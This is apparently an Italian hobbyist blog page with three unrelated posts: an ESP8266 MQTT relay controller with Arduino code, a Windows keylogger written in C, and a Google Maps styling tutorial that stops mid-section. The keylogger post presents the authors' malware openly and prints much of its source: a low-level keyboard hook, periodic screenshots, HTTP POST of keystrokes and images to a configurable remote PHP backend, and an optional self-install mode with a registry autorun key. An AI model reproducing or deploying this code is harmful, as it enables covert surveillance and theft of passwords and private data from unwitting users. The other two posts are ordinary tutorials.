[Domotica IoT] Controllo relè da remoto (ESP8266 + WiFi + Android app)

Vi presento un piccolo progetto che ho realizzato per comandare 8 relè da remoto. La scheda monta un ESP8266 (ESP-01) e si collega alla wifi di casa. Tramite una semplice applicazione Android possiamo comandare in modo indipendente gli 8 relè via internet, da ovunque e in qualunque momento. E’ sufficiente che lo smartphone sia connesso (dati o wifi).

Cosa possiamo fare con questa scheda? Avendo 8 relè a disposizione, possiamo comandare fino a 8 carichi 220v 3A, come ad esempio:

  • cancelli di casa
  • porte garage
  • portone di casa
  • caldaia
  • aria condizionata
  • allarmi

In sostanza un pò tutto quello che è già comandato da un interruttore. Forni o stufe elettriche non possono essere collegati perchè la potenza massima gestibile dai relè che ho utilizzato è di 600W circa (220V 3A). A meno che ovviamente questi dispositivi non abbiano un segnale di controllo a bassa tensione oppure si utilizzi un relè di potenza in grado di gestire alte correnti.

Il comando che arriva al relè può essere configurato in diversi modi:

  • impulso monostabile (esempio: 1 secondo ON e poi di nuovo OFF automaticamente)
  • bistabile (ossia rimane nella posizione assegnata ON o OFF)
  • temporizzato (esempio: ON la mattina, OFF la sera)
  • treno di impulsi (se occorre inviare segnali particolari a dispositivi più sofisticati)

Ovviamente in commercio esistono numerose schede già fatte, ma richiedono software o applicazioni specifiche, a volte a pagamento e non sempre i relè solo configurabili a piacimento (vedi punti sopra).

Schema di base

Lo schema di base è abbastanza semplice: la board si connette ad internet tramite il router wifi di casa. Lo smartphone invia comandi alla board tramite la propria connessione dati. L’utente non deve essere necessariamente connesso direttamente in wifi.

Protocollo di comunicazione

Per l’invio dei comandi da smartphone a board ho deciso di implementare il protocollo MQTT, uno degli standard più famosi ed utilizzati per lo scambio di dati tra dispositivi IoT e non.

http://www.itdistribuzione.com/portale/html/NewsPage.html?idNews=2954

http://mqtt.org/

Il bello di questo protocollo sta nel fatto che è estremamente semplice da implementare, anche su piattaforma Arduino (e in modo particolare sull’ESP01) e non richiede l’apertura di porte lato router wifi: l’ESP01 si connette verso un server MQTT esterno, instaura una connessione persistente e resta in attesa di comandi. Lo smartphone invia comandi al server MQTT esterno che a sua volta recapita i messaggi all’ESP01. Ovviamente possiamo anche inviare messaggi MQTT in direzione opposta, dall’ESP01 verso lo smartphone, sebbene questo progetto non implementi tale funzionalità.

Grazie a questo protocollo non dobbiamo né aprire porte in NAT, né conoscere il nostro indirizzo IP, né tantomeno contattare periodicamente un server esterno in polling.

Esistono numerosi server MQTT gratuiti, tra i quali Maqiatto e HiveMQ. Il primo in particolare non ha alcuna restrizione di banda o di dispositivi, ed è accessibile 24h su 24h sulla porta 1883.

Componenti

La board IoT si compone di 3 elementi principali:

  • ESP01
  • board Arduino 8 relè
  • GPIO expander PCF8574

L’ESP01 è l’elemento principale: si connette in wifi e riceve comandi dall’esterno; traduce inoltre questi comandi in appositi segnali per pilotare la board relè. Siccome l’ESP01 non ha abbastanza GPIO per comandare direttamente la board (ne servirebbero 8, uno per relè), ho utilizzato un GPIO expander (PCF8574) che sostanzialmente permette di comandare 8 GPIO tramite I2C: l’ESP01 invia una richiesta I2C all’expander che ha sua volta aziona i GPIO opportuni.

ESP01

L’ESP01 è un microcontrollore a basso costo basato sul micro ESP8266 con wifi integrato, compatibile con Arduino. Costa poco più di un euro ed il primo di una lunga famiglia: esistono numerosi altri modelli, ESP-02, ESP-03 etc.. ognuno dei quali possiede caratteristiche e funzionalità via via più sofisticate. Ad oggi ne esistono ben 12 modelli, da ESP-01 a ESP-12.

Il pinout dell’ESP01 è veramente ridotto all’osso: 8 pin in totale:

  • VCC – alimentazione (3.3V)
  • GND – massa
  • RST – reset
  • CH_PD – chip enable
  • TX, RX – seriale per la programmazione
  • GPIO0, GPIO2 – gli unici due GPIO disponibili

La seriale TX e RX è riservata per la programmazione iniziale, sebbene poi possa essere riallocata come seriale generica durante il normale funzionamento. Il pin CH_PD è il chip enable: abilita l’ESP01 e va quindi sempre tenuto HIGH. Il pin RST è il reset, anch’esso va tenuto HIGH. Occhio che l’ESP01 lavora con i livelli di tensione 3.3V e 0V, quindi HIGH corrisponde a 3.3V, LOW corrisponde a 0V. Anche la seriale è a 3.3V quindi nel caso avessimo un programmatore a 5V occorrerà convertire opportunamente i livelli di tensione.

L’ESP01 può essere avviato in due modi operativi differenti: modo programmazione e modo esecuzione. Nel modo programmazione, l’ESP01 si mette in ascolto sulla seriale (TX,RX,GND) in attesa di ricevere il programma da memorizzare nella flash interna. Nel modo esecuzione invece, l’ESP01 si avvia normalmente eseguendo il programma memorizzato nella flash.

Per avviare l’ESP01 in modo programmazione basta impostare i due GPIO nel seguente modo: GPIO0 = LOW e GPIO2 = HIGH. Per avviare l’ESP01 in modo esecuzione, occorre invece tenere HIGH entrambi i GPIO: GPIO0 = HIGH, GPIO2 = HIGH. Dopo l’avvio in una qualsiasi delle due modalità, non è più necessario tenere i GPIO impostati.

Board Arduino 8 relè

Questa board monta 8 relè pilotabili in modo indipendente grazie agli 8 pin di ingresso. Alimentazione a 5v (ma l’ho testata e funziona anche con 3.3V).  Il jumper permette di alimentare i relè con una alimentazione indipendente.

 

GPIO expander PCF8574

Si è reso necessario utilizzare un GPIO expander perchè l’ESP01 non ha abbastanza GPIO (soltanto 2 dei 8 necessari). Il PCF8574 è sicuramente il più adatto in questo caso. Questo expander riceve comandi tramite I2C e imposta i suoi GPIO in modo opportuno. Il comando I2C è un semplice pacchetto di 2 byte: il primo byte è l’indirizzo dell’expander, il secondo byte rappresenta lo stato dei GPIO (0 = HIGH, 1 = LOW). I GPIO possono anche essere impostati come ingressi, per leggerne lo stato è sufficiente inviare un comando I2C in modo lettura. Nel nostro caso non abbiamo implementato questa funzionalità.

Da notare i 3 jumper per impostare l’indirizzo dell’expander. Di default, l’indirizzo è 0x20.

Programmazione dell’ESP01 – Hardware

Per la programmazione ho utilizzato l’adattatore seriale FTDI 232RL USB

Questo adattatore si collega al PC tramite cavo USB e può essere configurato tramite jumper sia in modalità 5V che 3.3V (quella che ci serve per programmare l’ESP01).

Occorrerà inoltre realizzare una piccola board per collegare tra loro l’FTDI232RL all’ESP01 e per impostare GPIO0 e GPIO2 dell’ESP01 in modo programmazione (nonchè fornire l’alimentazione e polarizzare i pin CH_PD e RST). Ecco lo schema:

Sotto il programmatore completo, su basetta millefori. Sono necessari solo 4componenti esterni: 3 resistenze da 10 kohm e uno switch per il reset. Attenzione, impostate l’FTDI232BL in modalità 3.3V o rischiate di bruciare l’ESP01.

 

Programmazione dell’ESP01 – Configurare l’editor Arduino

Prima di poter programmare l’ESP01 occorre prima importare le configurazioni ESP8266 all’interno dell’editor Arduino. E’ sufficiente andare in “File” -> “preferences” e poi nella tab “settings” impostare nel campo “additional board manager URL” il seguente URL:

http://arduino.esp8266.com/stable/package_esp8266com_index.json

Date OK e riavviate l’editor Arduino. A questo punto occorre includere le librerie per ESP8266. Queste librerie vi daranno accesso al wifi per connettervi, creare un access point, e per gestire le comunicazioni via HTTP e TCP/UDP raw.

Per includere le librerie andate in “tools” -> “board: (la board corrente)” -> “board manager”. Cercate “ESP8266” e installate il pacchetto evidenziato (esp8266 by ESP8266 Community).

Riavviate Arduino IDE. Adesso, andando in “tools” -> “board:” dovreste vedere “Generic ESP8266 Module”. Selezionatelo. Inoltre impostate i seguenti parametri:

  • flash mode = DIO
  • flash frequency = 40MHz
  • CPU frequency = 80 MHz
  • Flash size = 512K (64K SPIFFS)
  • Debug port = disabled
  • Debug level = None
  • Reset Method = ck
  • Upload speed = 115200

Ed impostate la seriale COM opportuna. Il PC dovrebbe vedere l’FTDI232BL in modo automatico, se non dovesse dovrete scaricare i driver dal sito del produttore:

https://www.ftdichip.com/Drivers/VCP.htm

A questo punto siete pronti per programmare l’ESP01!

Circuito completo

Gli elementi base del circuito sono l’ESP01, la board Arduino 8 relè, e il GPIO expander PCF8574. L’ESP01 e l’expander richiedono una tensione di 3.3V, mentre la board relè 5V. Occorrerà quindi fornire queste due tensioni tramite appositi regolatori di tensione. l’ESP01 deve entrare in modo esecuzione (GPIO0 = HIGH e GPIO2 = HIGH). Fortunatamente, l’expander PCF8574 fornisce due resistenze di pull-up interne per le linee SDA e SCL

Firmware

Lo sketch Arduino è abbastanza semplice: ci connettiamo alla rete tramite WiFi (nome rete e password sono nello sketch), successivamente ci connettiamo al server MQTT e rimaniamo in attesa di comandi. Ad ogni comando ricevuto, decodifichiamo la richiesta ed inviamo il comando I2C opportuno al GPIO expander, che a sua volta azionerà il GPIO richiesto. Da notare che occorre includere la libreria MQTT, io ho scelto l’ottima pubSubClient:

https://github.com/knolleary/pubsubclient

e la libreria Wire, per la comunicazione tramite I2C:

https://www.arduino.cc/en/reference/wire

Entrambe queste librerie vanno importate esattamente allo stesso modo visto in precedenza per la libreria ESP8266

 

Setup()

Nella fase di setup() impostiamo i pin GPIO0 e GPIO2 come output. In più, prepariamo questi due gpio per la comunicazione via I2C con l’expander. GPIO0 = SDA e  GPIO2 = SDL. Da notare che utilizziamo la libreria Wire (#include(“Wire.h”)) per comunicare tramite I2C.

Successivamente resettiamo l’expander inviando il pacchetto I2C di due byte [0x20,0xff]. 0x20 è l’indirizzo che abbiamo assegnato all’expander tramite i jumper, mentre 0xff rappresenta lo stato dei GPIO, ossia tutti e 8 LOW. (1 = LOW, 0 = HIGH). Ovviamente, se assegnate un indirizzo diverso, dovrete inviare il byte opportuno. E’ anche possibile collegare in catena più expander, fino a 8 per un totale di 64 GPIO.

Fatto ciò impostiamo il client MQTT passando l’indirizzo del server e la porta, nel nostro caso “maqiatto.com” e 1883. In più, passiamo il puntatore alla nostra funzione callback che verrà invocata dalla libreria ogniqualvolta riceveremo un pacchetto MQTT.


void setup()
{
   pinMode(BUILTINLED, OUTPUT);
   digitalWrite(BUILTINLED, HIGH);

   // setup PCF8574
   pinMode(0, OUTPUT);
   pinMode(2, OUTPUT);

   delay(5000);

   Wire.begin(0, 2); // SDA = GPIO0, SDL = GPIO2
   Wire.beginTransmission(0x20);
   Wire.write(0b11111111);
   Wire.endTransmission();

   mqttClient.setServer(mqtt_server, mqtt_port);
   mqttClient.setCallback(callback);
}

Loop()

Nel loop principale effettuiamo in sequenza ciclica queste operazioni:

  • test & connessione wifi
  • test & connessione a server MQTT
  • gestione della coda MQTT

void loop()
{
   connectWifiReliable(); // connect wifi
   connectMqttReliable(); // connect mqtt
   mqttClient.loop();
}

La prima riga lancia connectWifiReliable(), una funzione che o ritorna immediatamente se l’ESP01 è connesso alla WiFi, di fatto rendendosi totalmente trasparente al loop, oppure (se l’ESP01 non fosse connesso in WiFi) procede alla connessione (riprovando più volte non dovesse riuscirci al primo tentativo). Al ritorno della funzione è garantita una connessione WiFi. Dopo un certo numero di tentativi falliti (io ho messo 200 tentativi), la funzione esegue il reboot completo dell’ESP01. Mettendo la funzione di connessione nel loop principale e controllando ad ogni ciclo che l’ESP01 sia connesso, rendiamo la connessione WiFi estremamente robusta: qualsiasi problema tipo disservizio di rete, router in riavvio, mancanza momentanea della WiFi, viene prima o poi intercettato dalla connectWifiReliable() che provvede a ripristinare il collegamento. Viene correttamente gestito anche il primo avvio dell’ESP01 (durante il quale la board non è ovviamente connessa). Di solito, su molti altri sketch Arduino, vedo il codice di setup della WiFi messo direttamente nella funzione setup() ma non credo sia ottimale perchè non vengono gestiti eventuali problemi di connessione.

Una funzione analoga, connectMqttReliable(), connette invece l’ESP01 al server MQTT. Funziona con lo stesso principio: non si esce dalla funzione fintanto che non è stabilita una connessione col server remoto. Dopo alcuni tentativi falliti anche questa funzione invoca il reboot dell’ESP01.

L’ultima funzione, ossia mqttClient.loop(), gestisce il protocollo MQTT stesso. Gestisce la coda interna e provvede ad invocare la nostra callback di gestione dei pacchetti MQTT remoti. Deve essere invocata ad intervalli regolari, idealmente in loop infinito. Ed è proprio quello che facciamo noi piazzandola nel loop principale.

Callback gestione dei comandi MQTT

Veniamo ora alla parte più interessante ossia la callback che gestisce il pacchetto MQTT in arrivo da un client remoto. Questa funzione è invocata dalla libreria MQTT stessa all’arrivo del pacchetto MQTT. La firma della funzione è la seguente:

void callback(char* topic, byte* payload, unsigned int length)

topic è il “canale” MQTT di ricezione (MQTT funziona secondo il classico patter publisher/subscriber per cui il client ESP01 si mette in ascolto (subscribe) solo a determinati “canali”.

payload è il pacchetto stesso, un array di byte

length è la lunghezza del pacchetto, in byte

Nel mio caso, avendo solo un topic registrato, non controllo questa variabile. Più topic magari richiederebbero l’esecuzione di codice diversificato a seconda del canale. Payload e length invece vengono passati direttamente a processRequest()


void callback(char* topic, byte* payload, unsigned int length)
{
    if(length != 18) return;
    processRequest(payload);
}

Nel mio caso faccio un ulteriore controllo sulla lunghezza: se il pacchetto non è lungo 18 byte, la funzione scarta tutto ed esce senza fare nulla. Il pacchetto MQTT che ho studiato è lungo infatti esattamente 18 byte:

Il primo byte definisce il modo di attivazione del relè: può essere “P” per PULSE oppure “T” per TOGGLE. PULSE implica l’attivazione per un secondo del relè, dopodichè il relè torna automaticamente in posizione di riposo. TOGGLE invece cambia stato al relè, che in questo rimane indefinitivamente nello stato impostato (a parte ovviamente riavvii dell’ESP01 oppure blackout completi). Il secondo byte definisce quale relè attivare: “0” attiva il primo relè, “1” il secondo, “2” il terzo e cosi via fino a 7. Gli ultimi 16 byte costituiscono invece la password: non strettamente necessaria, la password impedisce a client non autorizzati di inviare comandi alla board. Solo i client che sono a conoscenza della password possono attivare i relè. E’ possibile specificare una password diversa per ogni relè.

Ad esempio il seguente pacchetto MQTT attiva il relè numero 4 (indice GPIO 3) in modalità PULSE (un secondo ON e poi di nuovo OFF), con password “ABCDEFGH12345678”.


P3ABCDEFGH12345678

 

Se dunque il pacchetto supera il controllo di lunghezza, viene inviato alla funzione processRequest() che decodifica il payload, controlla la password e poi invia i comandi I2C opportuni all’expander.


void processRequest(byte* payload)
{
   char cmd = payload[0];
   char chn = payload[1];
   char password[16];
   for(int p = 0; p < 16; p++) password[p] = payload[2 + p];

   uint8_t chnNum;
   if(chn == '0') { chnNum = 0b00000001; if(strncmp(password, PASSWORD_CH0, 16) != 0) return; }
   else if(chn == '1') { chnNum = 0b00000010; if(strncmp(password, PASSWORD_CH1, 16) != 0) return; }
   else if(chn == '2') { chnNum = 0b00000100; if(strncmp(password, PASSWORD_CH2, 16) != 0) return; }
   else if(chn == '3') { chnNum = 0b00001000; if(strncmp(password, PASSWORD_CH3, 16) != 0) return; }
   else if(chn == '4') { chnNum = 0b00010000; if(strncmp(password, PASSWORD_CH4, 16) != 0) return; }
   else if(chn == '5') { chnNum = 0b00100000; if(strncmp(password, PASSWORD_CH5, 16) != 0) return; }
   else if(chn == '6') { chnNum = 0b01000000; if(strncmp(password, PASSWORD_CH6, 16) != 0) return; }
   else if(chn == '7') { chnNum = 0b10000000; if(strncmp(password, PASSWORD_CH7, 16) != 0) return; }
   else return;

   if(cmd == 'P')
   {
      sendGpio(gpioOut & ~chnNum);
      delay(1000);
      sendGpio(gpioOut | chnNum);

      digitalWrite(BUILTINLED, HIGH);
      delay(100);
      digitalWrite(BUILTINLED, LOW);
      delay(100);
   }
   else if(cmd == 'T')
   {
      gpioOut = gpioOut ^ chnNum;
      sendGpio(gpioOut);

      digitalWrite(BUILTINLED, HIGH);
      delay(100);
      digitalWrite(BUILTINLED, LOW);
      delay(100);
   }
   else
   {
      return;
   }
}

Per il resto allego lo sketch completo

download sketch Arduino (2Kb)

 

Client

Come dispositivo client possiamo utilizzare qualsiasi software in grado di inviare comandi MQTT: eseguibile standalone Windows, pagina web in PHP, oppure una applicazione Android. Io ho optato per l’ultima opzione, una applicazione Cordova Javascript in grado di inviare pacchetti arbitrari ad un server MQTT.

In questo caso l’applicazione permette di definire una lista di pulsanti, nominarli a piacere, selezionare il modo (PULSE o TOGGLE) e il GPIO corrispondente.

Il server Maquiatto offre anche una comoda interfaccia web per testare i propri sistemi MQTT. E’ possibile inviare pacchetti MQTT arbitrari, definire o registrarsi a topic già creati in precedenza etc…

http://maqiatto.com/webclient/

Grazie a questa interfaccia web non è necessario implementare il client per testare il funzionamento della board ESP01

 

 

 

 

 

 

 

 

 

 

Keylogger in C per Windows XP/7/8/10

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

  • cattura tastiera ed eventi mouse
  • screenshot ad intervalli regolari
  • invio tasti e screenshot a backend PHP remoto
  • modalità auto installer o modo normale

Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
	mutex = CreateMutex(NULL, FALSE, NULL);

	buffer = (char*)malloc(BUFFERLEN);
	buffer[0] = 0;

	HANDLE logger;
	logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

	unsigned int timer = 0;
	int len;

	while(1)
	{
		if(timer % SNAPSHOT_SEC == 0)
		{
			SendScreenshot();
		}

		if(timer % 10 == 0)
		{
			// lock
			WaitForSingleObject(mutex, INFINITE);

			len = strlen(buffer);

			// unlock
			ReleaseMutex(mutex);

			int res = CurlSend(buffer, len, "text=");
			if(res)
			{
				// lock
				WaitForSingleObject(mutex, INFINITE);

				// reset buffer
				strcpy(buffer, buffer + len);

				// unlock
				ReleaseMutex(mutex);
			}
		}
		timer++;
		Sleep(1000); // 1 sec sleep
	}
	return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == WM_KEYDOWN)
	{
		KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
		SaveKey(keyboard-&gt;vkCode);
	}

	return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
	HINSTANCE hExe = GetModuleHandle(NULL);
	//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
	MSG msg;

	while (GetMessage(&amp;msg, NULL, 0, 0) != 0)
	{
		TranslateMessage(&amp;msg);
		DispatchMessage(&amp;msg);
	}

	return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
	BOOL Success=FALSE;
	HDC SurfDC=NULL;
	HBITMAP OffscrBmp=NULL;
	HDC OffscrDC=NULL;
	LPBITMAPINFO lpbi=NULL;
	LPVOID lpvBits=NULL;
	HANDLE BmpFile=INVALID_HANDLE_VALUE;
	BITMAPFILEHEADER bmfh;

	if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
		return FALSE;

	if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
		return FALSE;

	HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
	BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
	lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

	ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
	lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	SelectObject(OffscrDC, OldBmp);
	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
		return FALSE;

	lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
		return FALSE;

	int h = height;
	int w = width;
	unsigned scanlineBytes = w * 4;
	if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

	char *png = malloc(w * h * 4);
	int x,y;

	for(y = 0; y < h; y++)
		for(x = 0; x < w; x++)
		{
			unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
			unsigned newpos = 4 * y * w + 4 * x;

			png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
			png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
			png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
			png[newpos + 3] = 255;            //A
		}

	free(lpvBits);
	lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
	free(png);

	return TRUE;
}

Modalità auto installer

La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager

 

 

 

Creare mappe personalizzate con Google Maps

Google Maps è uno strumento ormai indispensabile per comunicare efficacemente posti e percorsi. Una attività (ad esempio un ristorante) che voglia indicare agli utenti la propria posizione può avvalersi di queste mappe includendole nel proprio sito web. Mappe statiche, immagini, o peggio ancora semplici indicazioni testuali non sono proprio più ammesse!
Gli utenti si aspettano di trovare Google Maps e tutto quello che ne deriva ossia la possibilità di condividere il luogo, esplorare i dintorni e calcolare distanze e percorsi.

Inserire una mappa Google Maps sul proprio sito web è abbastanza semplice ma l’effetto non sempre è quello desiderato: la mappa di default è ok, indica certamente la posizione, ma i colori potrebbero non essere nello stile complessivo del sito, magari vorremmo togliere informazioni superflue quali nomi di altri posti non attinenti al contesto, nomi dei parchi, in generale semplificare la mappa e focalizzare l’attenzione su quello che vogliamo indicare.

Utilizzando le Google Maps API v3 è possibile personalizzare la mappa come più si desidera, integrandola con lo stile complessivo del sito. Ad esempio è possibile:

  • cambiare tonalità di colore
  • cambiare immagine degli indicatori
  • disegnare contorni, cerchi, rettangoli solidi e trasparenti
  • mostrare popup o altre informazioni al click di preciso luogo sulla mappa

Ecco alcuni esempi:

biz

maps1

Creazione del layout base

Innanzitutto occorre procurarsi una API Key direttamente dal Google Developer center. La chiave ci permetterà di accedere alle funzionalità extra.

Creiamo una pagina HTML di esempio ed includiamo le Google Map API direttamente nell’head. In più creiamo un div contenente la nostra mappa, larghezza e altezza fluida (100%):

<html>
<head>
<script src="https://maps.googleapis.com/maps/api/js?key=APIKEY&callback=myMap"></script>
</head>
<body>
   <div id="maptest" style="width:100%;height:100%;"></div>
</body>
</html>

La pagina non mostra ancora alcuna mappa, dobbiamo crearla associando al div il codice Javascript opportuno. Definiamo per ora il minimo indispensabile ossia posizione (latitudine e longitudine) e livello di zoom:

<html>
<head>
<script src="https://maps.googleapis.com/maps/api/js?key=APIKEY&callback=myMap"></script>
</head>
<body>
   <div id="maptest" style="width:100%;height:100%;"></div>
   <script>						
      var mapOptions = {
	 scrollwheel: false,
	 zoom: 12,
         center: new google.maps.LatLng(43.769562, 11.255814)
      };
		
      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );
   </script>
</body>
</html>

Risultato:

screen-shot-2016-10-09-at-4-33-46-pm

Che è esattamente quello che al massimo possiamo ottenere con le opzioni standard. Vediamo ora di cambiare tonalità di colore alla mappa, ad esempio portarla sul blu (tonalità #103050 e livello di saturazione 20):

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

Risultato:

screen-shot-2016-10-09-at-4-38-35-pm

Aggiungere segnaposto (markers)

Possiamo ora aggiungere uno o più segnaposto sulla mappa, è sufficiente creare quanti oggetti marker desideriamo, specificarne latitudine e longitudine e passarli alla mappa:

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814)
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814)
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814)
      });

Risultato:

screen-shot-2016-10-09-at-4-52-19-pm

Cambiare immagine ai markers

L’icona del marker di default è noiosa. Possiamo utilizzare altre icone o immagini, basta specificare il percorso url alla png o jpeg. Una immagine personalizzata permette ad esempio di creare marker con il logo del nostro sito web, oppure marker che rappresentano posti differenti (ristoranti, stazioni di servizio, aereoporti etc..). Da notare che ogni marker può avere una immagine differente.

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

Risultato:

screen-shot-2016-10-15-at-2-14-50-pm

Associare eventi al click di un marker

Possiamo associare un particolare evento quando l’utente clicca su un marker, ad esempio mostrare un popup informativo oppure cambiare pagina o qualsiasi altra cosa. E’ sufficiente aggiungere l’evento al marker tramite la funziona addListener()

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      // evento

      marker3.addListener('click', function() {
    	alert('ok');
      });

Cliccando sul marker 3 comparirà un semplice popup.

Disegnare forme geometriche sulla mappa

